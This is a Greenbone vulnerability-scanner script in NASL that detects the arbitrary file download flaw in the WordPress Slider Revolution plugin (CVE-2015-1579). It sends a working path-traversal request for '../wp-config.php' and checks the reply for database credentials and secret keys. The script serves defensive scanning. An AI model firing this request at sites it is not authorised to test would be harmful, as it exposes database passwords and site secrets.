WordPress Slider Revolution Arbitrary File Download Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805518");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-03-31 12:15:41 +0530 (Tue, 31 Mar 2015)");
  script_tag(name:"qod_type", value:"remote_vul");
  script_cve_id("CVE-2015-1579", "CVE-2014-9734");
  script_name("WordPress Slider Revolution Arbitrary File Download Vulnerability");

  script_tag(name:"summary", value:"The WordPress plugin 'Slider Revolution' is prone to arbitrary file download vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP POST
  request and check whether it is able to download file or not.");

  script_tag(name:"insight", value:"Flaw is due to the plugin failed to
  restrict access to certain files.");

  script_tag(name:"impact", value:"Successful exploitation will allow an
  unauthenticated remote attacker to download any arbitrary file.");

  script_tag(name:"affected", value:"WordPress Slider Revolution version
  4.1.4 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/36554");
  script_xref(name:"URL", value:"http://www.homelab.it/index.php/2014/07/28/wordpress-slider-revolution-arbitrary-file-download");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

function construct_get_req(url, host, useragent)
{
  req = 'GET ' + url + ' HTTP/1.1\r\n' +
        'Host: ' + host + '\r\n' +
        'User-Agent: ' + useragent + '\r\n' +
        'Accept-Encoding: gzip, deflate\r\n' +
        'Connection: keep-alive\r\n\r\n';
  return req;
}

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";

useragent = http_get_user_agent();

# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
host = http_host_name(port:port);

req = construct_get_req(url:url, host:host, useragent:useragent);
res = http_keepalive_send_recv(port:port, data:req);

if(res && res =~ "^HTTP/1\.[01] 301") {

  url1 = egrep( pattern:"Location: http://.*wp-config.php", string:res);
  hostname = split(url1, sep:"/", keep:FALSE);
  if(!hostname[2])
    exit(0);

  req = construct_get_req(url:url, host:hostname[2], useragent:useragent);
  res = http_keepalive_send_recv(port:port, data:req);
}

if(res && "SECURE_AUTH_KEY" >< res && "<?php" >< res &&
  "DB_NAME" >< res && "DB_USER" >< res && "DB_PASSWORD" >< res) {
  report = http_report_vuln_url( port:port, url:url );
  security_message(port:port,data:report);
  exit(0);
}

exit(99);